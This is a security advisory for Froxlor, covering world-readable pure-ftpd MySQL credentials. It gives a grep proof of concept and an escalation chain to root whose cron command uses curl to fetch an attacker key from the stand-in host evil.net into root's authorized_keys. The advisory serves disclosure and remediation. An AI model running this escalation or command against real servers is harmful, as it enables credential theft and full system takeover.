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GHSA-34qg-65m4-f23m
No affected components available
Summary
In Froxlor 2.1.9 and in the HEADs of the main, v2.2 and v2.1 branches , the XML templates in lib/configfiles/ set chmod 644 for /etc/pure-ftpd/db/mysql.conf, although that file contains <SQL_UNPRIVILEGED_PASSWORD>. At least on Debian 12, all parent directories of /etc/pure-ftpd/db/mysql.conf are world readable by default, thus exposing these credentials to all users with access to the system. Only Froxlor instances configured to use pure-ftpd are affected/vulnerable.
Details
https://github.com/froxlor/Froxlor/blob/2.1.9/lib/configfiles/bookworm.xml#L3075
PoC
As non-privileged user:
nobody@mail:/tmp$ grep MYSQLPassword /etc/pure-ftpd/db/mysql.conf
MYSQLPassword MySecretMySQLPasswordForFroxlor
Impact
Any unprivileged user with "command/code execution" access to the system can trivially obtain the credentials granting access to the froxlor MySQL database. This holds true even for virtual users without SSH access as long as they are able to upload their own PHP scripts or other CGIs, and works even if the admin has setup a separate php-fpm pool that runs as their own user.
Side note: This access to the database can be leveraged to obtain Froxlor admin privileges, and subsequently root privileges. For example:
- Use the database credentials to extract or change a Froxlor admin's password hash and TOTP seed value.
- Log into Froxlor as that admin.
- Set the
Cron-daemon reload commandin/admin_settings.php?page=overview&part=crondto something likecurl -o /root/.ssh/authorized_keys evil.net. - Wait a few minutes until the relevant cronjob runs, then log in via SSH.
Please consider using passwordless unix socket authentication. Current versions of MySQL, MariaDB and Percona allow completely removing/omitting database passwords for database connections going through a unix socket, this works even for use cases where the database user has a different name than the system account running the database client: https://dev.mysql.com/doc/refman/5.7/en/socket-pluggable-authentication.html
The vulnerability requires local access to the device to be exploited. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a low impact on the availability of the system.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
Probability that this vulnerability will be exploited in the wild within the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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